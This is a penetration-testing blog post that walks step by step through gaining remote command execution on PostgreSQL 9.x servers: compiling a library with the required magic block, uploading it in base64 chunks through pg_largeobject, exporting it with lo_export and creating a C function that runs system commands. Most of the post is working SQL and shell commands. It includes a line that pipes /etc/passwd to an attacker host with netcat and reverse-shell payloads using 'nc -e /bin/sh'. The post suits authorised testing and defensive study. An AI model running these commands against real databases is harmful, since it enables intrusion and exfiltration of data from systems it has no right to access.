•  Oxford: +44 (0)1865 877830 
  • Manchester: +44 (0)161 713 0176 
  •  London: +44 (0)203 5983740 
  •  New York: +1 646-781-7580 
  • Dubai: +971 (0)4 427 0429

PostgreSQL 9.x Remote Command Execution

You are here



PostgreSQL 9.x Remote Command Execution

During a recent penetration test I was able to gain access to a PostgreSQL 9.0 service. While the process for executing system commands from PostgreSQL 8.1 and before is straightforward and well documented - there is even a Metasploit module to make the process very simple - this was slightly more complex for PostgreSQL 9.x. For PostgreSQL 8.1 and earlier, something similar to the following will allow for command execution (from http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet):

> CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
> SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

This method requires knowledge of the location of libc on the system, though this is easy to obtain by enumerating through a small subset of likely locations, either in the above command, or in attempts to read libc into a table.

However, when attempted on PostgreSQL 9.0, the following error was shown:

ERROR:  incompatible library "/lib/x86_64-linux-gnu/libc.so.6": missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

This error is explained in the PostgreSQL documentation:

To ensure that a dynamically loaded object file is not loaded into an incompatible server, PostgreSQL checks that the file contains a "magic block" with the appropriate contents. This allows the server to detect obvious incompatibilities, such as code compiled for a different major version of PostgreSQL. A magic block is required as of PostgreSQL 8.2. To include a magic block, write this in one (and only one) of the module source files, after having included the header fmgr.h:


The #ifdef test can be omitted if the code doesn't need to compile against pre-8.2 PostgreSQL releases.

So for PostgreSQL versions since 8.2, an attacker either needs to take advantage of a library already present on the system, or upload their own library, which has been compiled against the right major version of PostgreSQL, and includes this magic block. This blog post goes through compiling a library which includes this magic block, uploading it to the server through SQL queries, and then obtaining command execution from this library. I have also released a script to simplify this process, along with precompiled libraries for all currently released major versions of PostgreSQL since 8.2 on the Dionach GitHub page. This script is discussed in more detail at the end of this post.

Compiling the library

To compile the library, a Linux machine with the same version of PostgreSQL as the target machine is required. The sources for PostgreSQL, with included installation instructions, can be found here (https://www.postgresql.org/ftp/source/). You can obtain the version of PostgreSQL running on the target machine using:

> SELECT version();
 PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
(1 row)

The major versions have to match, so in this case compiling a library using any 9.6.x should work. If they are running the latest version of PostgreSQL, then installing using your system's package manager may be easier, though you will also have to install the necessary header files. On Debian, this can be achieved using:

# apt install postgresql postgresql-server-dev-9.6

After that, compile the library found on the GitHub repository using:

gcc -I$(/usr/local/pgsql/bin/pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c

This assumes that you have installed PostgreSQL from source; if you have installed PostgreSQL using your system's package manager then you will likely be able to replace "/usr/local/pgsql/bin/pg_config" with simply "pg_config" in the above command, depending on how the package manager installed PostgreSQL. This should create a library named "pg_exec.so" which can be uploaded to the target server to allow for command execution using the "pg_exec" function of the library.

Uploading the library

This file can be uploaded through the use of PostgreSQL's "pg_largeobject" table. The process for doing this is to split the file into exactly 2048 byte chunks (excluding the last chunk which may be smaller), encode these chunks using base64, insert these chunks into the "pg_largeobject" table, then save the file to the system using PostgreSQL's "lo_export". Splitting the object into 2048 byte chunks can be achieved using:

$ split -b 2048 pg_exec.so

This will create a series of alphabetically ordered files with names "xaa", "xab", "xac", and so on. The contents of these files needs to be inserted into the "pg_largeobject" table before they can be exported to the server. For this, an "LOID" needs to be generated on the target server. Connect to the target server's PostgreSQL service using the "psql" binary installed during the local PostgreSQL install, and issue the following query (note the lack of an "e" in "lo_creat"):

> SELECT lo_creat(-1);
(1 row)

This LOID is then used to identify the object in the pg_largeobject table. Inserting chunks into the "pg_largeobject" table can be achieved using:

> \set c0 `base64 -w 0 xaa`
> INSERT INTO pg_largeobject (loid, pageno, data) values (16388, 0, decode(:'c0', 'base64'));
> \set c1 `base64 -w 0 xab`
> INSERT INTO pg_largeobject (loid, pageno, data) values (16388, 1, decode(:'c1', 'base64'));

This needs to be repeated for each chunk, in order, incrementing the "pageno" parameter by 1 each time. Once this has been done, the library can be saved to the server using:

> SELECT lo_export(16388, '/tmp/pg_exec.so');

Command Execution

The library should now be present at "/tmp/pg_exec.so". The pg_exec method of this library can now be called through PostgreSQL using a similar method to that mentioned at the start of this blog post:

> CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE 'c' STRICT;

Commands can then be run on the target system using the created "sys" command. For instance, to send a reverse shell to using netcat, issue the query:

> SELECT sys('nc -e /bin/sh 4444');


I have provided a script which somewhat automates this process. PostgreSQL will still need to be installed from source, though everything else can be done through running the pgexec.sh script at the mention repository. This script will also clean up after itself, removing the uploaded library from the system, deleting any values inserted into the "pg_largeobject" table, and deleting the created PostgreSQL function. Further, the script allows you to specify which library to upload, or which source code to use to automatically compile the library.

The help text for the script is shown below:

$ ./pg_exec.sh --help
./pg_exec.sh [options]
 Execute a shell commands on a server using PostgreSQL access
        --help                  Show this help text and exit
        -U, --user              The username to authenticate to the PostgreSQL server with
        -P, --password          The password to authenticate to the PostgreSQl server with
        -L, --library           A library to upload to the server instead of the default
        -S, --splitdir          The temporary directory to store the split parts of the library in
        -h, --host              The host running the PostgreSQL service
        -p, --port              The port that the PostgreSQL service is running on
        -c, --command           The command to execute on the server
        -e, --export            The path to save the library to on the server
        -s, --source            The source file to compile the library from
        -f, --function          The name of the function to be called in the library

Assuming that PostgreSQL was installed from source by following the included instructions, then you will have to add the PostgreSQL binaries to the path to call the script. Creating a reverse shell can be done as shown below:

$ PATH="/usr/local/pgsql/bin:$PATH" ./pg_exec.sh -U <username> -P <password> -h <hostname> -p <port> -c "nc -e /bin/sh 4444"

Posted by Daniel

Leave a comment